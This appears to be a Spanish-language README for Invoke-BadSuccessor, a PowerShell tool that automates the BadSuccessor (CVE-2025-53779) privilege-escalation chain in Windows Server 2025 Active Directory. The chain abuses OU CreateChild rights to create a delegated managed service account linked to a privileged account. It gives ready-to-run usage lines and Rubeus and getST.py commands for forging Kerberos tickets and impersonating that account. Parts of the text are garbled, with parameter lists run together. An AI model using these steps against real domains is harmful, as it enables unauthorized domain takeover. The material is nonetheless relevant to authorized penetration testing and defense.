
Script de PowerShell para explotar automáticamente la vulnerabilidad BadSuccessor (CVE-2025-53779)
Abusar de los derechos de creación de Cuentas de Servicio Administradas Delegadas (dMSA) en Unidades Organizativas (UOs) vulnerables para escalar privilegios en entornos de Active Directory (vulnerabilidad BadSuccessor – CVE-2025-53779).
Invoke-BadSuccessor automatiza una cadena de ataque de escalada de privilegios explotando configuraciones incorrectas de dMSA y delegación en Active Directory de Windows Server 2025:
msDS-DelegatedMSAState = 2msDS-ManagedAccountPrecededByLink = <DistinguishedName> (vincula la dMSA a una cuenta privilegiada)-Quiet).Esta técnica abusa del comportamiento de dMSA para escalar privilegios forjando tickets Kerberos usando credenciales de cuenta de máquina y solicitando tickets TGS para la cuenta de servicio con los privilegios de la cuenta de alto privilegio vinculada.
-Quiet) suprime las instrucciones de post-explotación.-PrecededByIdentity (acepta usuarios, equipos u otros objetos de AD).Enumerador de ACL de bajo nivel para objetos de Active Directory. Envuelve Get-Acl en la unidad AD: y devuelve una lista limpia y filtrable de ACE con:
ObjectDNIdentityReferenceSecurityIdentifierActiveDirectoryRightsAccessControlTypeSoporta:
-SearchBase – limita la enumeración a un DN específico (ej., una UO objetivo)-ExcludeDefaultSIDs – filtra los integrados ruidosos (Everyone, Authenticated Users, SELF, etc.)-ExcludeAdmins – filtra grupos de administradores/infra basados en RID (Domain Admins, Enterprise Admins, etc.)Ayudante de enumeración de alto nivel que usa Get-ADObjectACL para encontrar UOs donde un usuario (o sus grupos) tiene derechos CreateChild.
Resuelve:
SecurityIdentifier está en ese token y ActiveDirectoryRights contiene CreateChildEquivalente a Add-DomainObjectAcl de PowerView pero usando solo el módulo ActiveDirectory. Utiliza Get-Acl / Set-Acl en AD: para añadir ACEs.
Los derechos soportados incluyen:
All, GenericAll, GenericRead, GenericWriteCreateChild, DeleteChildReadProperty, WritePropertyDelete, WriteDacl, WriteOwnerFunción principal de la cadena de ataque que:
msDS-DelegatedMSAState = 2msDS-ManagedAccountPrecededByLink = <DN> de un objeto privilegiado.-Quiet.Invoke-BadSuccessor
Invoke-BadSuccessor -Quiet
Invoke-BadSuccessor -ComputerName "WEB01" -ServiceAccountName "webpool_dMSA" -ServiceDnsHostName "web01.internal"
Invoke-BadSuccessor -PrecededByIdentity "svc_app"
El script resuelve automáticamente esta identidad en Usuarios, Equipos u objetos de dominio.
Comandos de ejemplo generados para la falsificación de tickets:
Rubeus.exe hash /password:'Password123!' /user:Pwn$ /domain:<domain>
Rubeus.exe asktgt /user:Pwn$ /aes256:<AES256KEY> /domain:<domain>
Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/<domain> /dmsa /opsec /ptt /nowrap /outfile:ticket.kirbi /ticket:<BASE64TGT>
Rellena los marcadores de posición como <AES256KEY> y <BASE64TGT> con valores reales de los pasos anteriores.
Comandos de ejemplo generados para la falsificación de tickets:
getST.py '<domain>/Pwn$:Password123!' -k -no-pass -dmsa -self -impersonate 'attacker_dMSA$'
. .\Invoke-BadSuccessor.ps1
Find-VulnerableOU
Invoke-BadSuccessor
Solo para pruebas educativas y autorizadas. Úselo solo con permiso explícito. Los autores no asumen ninguna responsabilidad por el mal uso.